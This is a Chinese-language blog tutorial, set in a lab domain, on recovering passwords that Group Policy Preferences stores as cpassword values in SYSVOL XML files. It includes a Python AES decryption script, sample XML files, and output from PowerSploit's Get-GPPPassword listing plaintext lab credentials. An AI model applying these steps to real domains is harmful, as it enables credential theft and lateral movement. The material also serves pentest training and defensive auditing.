组策略之xml保存的密码

组策略之xml保存的密码

本文通过GPP引出为什么SYSVOL的xml文件中保存着各种账号密码

0x01 GPP漏洞介绍

先介绍下GPP漏洞,GPP全名Group Policy Preferences,组策略首选项。可以通过部署GPP,部署的策略给域成员都添加一个用户或者修改本地用户administrator的密码,达到统一管理本地管理员用户密码的功能。那么这时候域控的SYSVOL共享目录里有一个global.xml里面可能会存放{name,cpasswords},这个账号密码很可能就是域里面所有机子的本地管理员账号密码。所以只要有一个域用户(域机器的system)权限,使用该域用户net use连接域控,然后net view查看域控的共享目录,再用dir将域控的SYSVOL目录下的所有xml文件列出来,找到Groups.xml文件,查看cpassword字段,解密即可。

0x02 环境搭建

在域控先创建组织,该组织下面的所有域机器都通过GPP管理本地管理员的密码

img

img

将一些域机器移动过去

img

img

给GppComputers组织创建组策略

img

GPO名字随意

img

右键编辑

img

选择本地用户,右键新增,本地使用者

img

密码更改为Gpppassword.

img

0x03 获取密码

到SYSVOL中查看

img

在User\Preferences\Groups文件夹下有Groups.xml文件

img

内容如下

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (內建)" image="2" changed="2021-02-07 08:54:02" uid="{D3BBF62A-E741-4269-B4BE-71E21F972F64}"><Properties action="U" newName="" fullName="" description="" cpassword="j9Gdj+aYbrzW2mH1wHHC8/D7L+pkZ3iLSs4NjCybA1M" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (內建)"/></User>
</Groups>

提取出cpassword字段的值

img

使用py脚本解密:python2 gpp.py j9Gdj+aYbrzW2mH1wHHC8/D7L+pkZ3iLSs4NjCybA1M

需要安装pycryptodome模块,python2 -m pip install pycryptodome

import sys
from Crypto.Cipher import AES
from base64 import b64decode
from base64 import b64encode
key = """
4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b
""".replace(" ","").replace("\n","").decode('hex')
cpassword = sys.argv[1]
cpassword += "=" * ((4 - len(sys.argv[1]) % 4) % 4)
password = b64decode(cpassword)
iv =  "\x00" * 16
o = AES.new(key, AES.MODE_CBC, iv ).decrypt(password)
plaintext =  o[:-ord(o[-1])]
print(plaintext)

成功解出密码

img

0x04 其他XML文件

例如计划任务,创建一个GPO,名字随意

img

选择计划任务

img

在执行身份中选择使用域用户sqladm,执行弹计算器命令

img

到SYSVOL中查看

img

在\User\Preferences\ScheduledTasks文件夹下有ScheduledTasks.xml,内容如下

<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><Task clsid="{2DEECB1C-261F-4e13-9B21-16FB83BC03BD}" name="calc" image="0" changed="2021-02-07 07:25:21" uid="{93F6A743-CC48-48CB-BF65-4F68EDAE4BB9}"><Properties action="C" name="calc" appName="C:\Windows\System32\calc.exe" args="" startIn="" comment="" runAs="MOTOO\SQLAdm" cpassword="g0FxPqXVuUh7g07FH0UAKeZQLjFzdltWFdkx7gdM7Fc" enabled="1"><Triggers><Trigger type="DAILY" startHour="1" startMinutes="0" beginYear="2021" beginMonth="2" beginDay="7" hasEndDate="0" repeatTask="0" interval="1"/></Triggers></Properties></Task>
</ScheduledTasks>

执行的用户身份如下

img

取出cpassword值,成功得到域用户motoo\sqladm的密码

img

在下面的这些xml里也都有可能保存着账号密码

Groups\Groups.xml
Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml

0x05 更新组策略

Windows会定期刷新整个网络中的组策略设置。 在客户端计算机上,默认情况下每90分钟执行一次,随机偏移量为正负30分钟。 当更改组策略时,可能需要等待两个小时(90分钟加上30分钟的偏移量),然后才能在客户端计算机上看到任何更改。

也可以在客户机使用gpupdate /force 强制更新域组策略

img

0x06 脚本利用

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1

使用域用户执行该ps脚本,调用方法Get-GPPPassword

可以看到获取到了账号密码

img

PS C:\Users\WangJuan.MOTOO\Desktop> Get-GPPPassword
UserName  : Administrator (鍏у缓)
NewName   : [BLANK]
Password  : Gpppassword.
Changed   : 2021-02-07 08:54:02
File      : \\MOTOO.NC\SYSVOL\Motoo.nc\Policies\{4FC55772-5E0A-4ED5-AA84-A3FF988B6409}\User\Preferences\Groups\Groups.xml
NodeName  : Groups
Cpassword : j9Gdj+aYbrzW2mH1wHHC8/D7L+pkZ3iLSs4NjCybA1M
UserName  : MOTOO\SQLAdm
NewName   : [BLANK]
Password  : sql123!@#45
Changed   : 2021-02-07 07:35:06
File      : \\MOTOO.NC\SYSVOL\Motoo.nc\Policies\{E990BD6E-3ABA-45CD-8653-39D2D2B41AA1}\User\Preferences\ScheduledTasks\ScheduledTasks.xml
NodeName  : ScheduledTasks
Cpassword : g0FxPqXVuUh7g07FH0UAKeZQLjFzdltWFdkx7gdM7Fc
UserName  : Motoo
NewName   : [BLANK]
Password  : Pwd12345
Changed   : 2020-02-23 12:55:13
File      : \\MOTOO.NC\SYSVOL\Motoo.nc\Policies\{F92107F8-1D4E-4B26-84C8-75645D783540}\User\Preferences\Groups\Groups.xml
NodeName  : Groups
Cpassword : Wdkeu1drbxqPJm7YAtPtwBtyzcqO88hJUBDD2eseoY0
UserName  : klion
NewName   : [BLANK]
Password  : Abc12345
Changed   : 2020-02-23 12:55:49
File      : \\MOTOO.NC\SYSVOL\Motoo.nc\Policies\{F92107F8-1D4E-4B26-84C8-75645D783540}\User\Preferences\Groups\Groups.xml
NodeName  : Groups
Cpassword : jh09kN+cc6X1jYVx5ZLQOzJ7PrCU3R8rAJKT47qzE0k
UserName  : ITS
NewName   : [BLANK]
Password  : admin!@#45
Changed   : 2020-03-13 02:19:32
File      : \\MOTOO.NC\SYSVOL\Motoo.nc\Policies\{F92107F8-1D4E-4B26-84C8-75645D783540}\User\Preferences\Groups\Groups.xml
NodeName  : Groups
Cpassword : Hd/xxCN9bFRTj8C2az+0t3el0u3Dn68pZ1Sd4IHmbPw
UserName  : ITSRV
NewName   : [BLANK]
Password  : in123!@#45
Changed   : 2020-03-13 02:50:28
File      : \\MOTOO.NC\SYSVOL\Motoo.nc\Policies\{F92107F8-1D4E-4B26-84C8-75645D783540}\User\Preferences\Groups\Groups.xml
NodeName  : Groups
Cpassword : 3bjGvfu/GLA3pSuIm1IOgFhCOw8055xOddEX4k3XNAY

   转载规则


《组策略之xml保存的密码》 ske 采用 知识共享署名 4.0 国际许可协议 进行许可。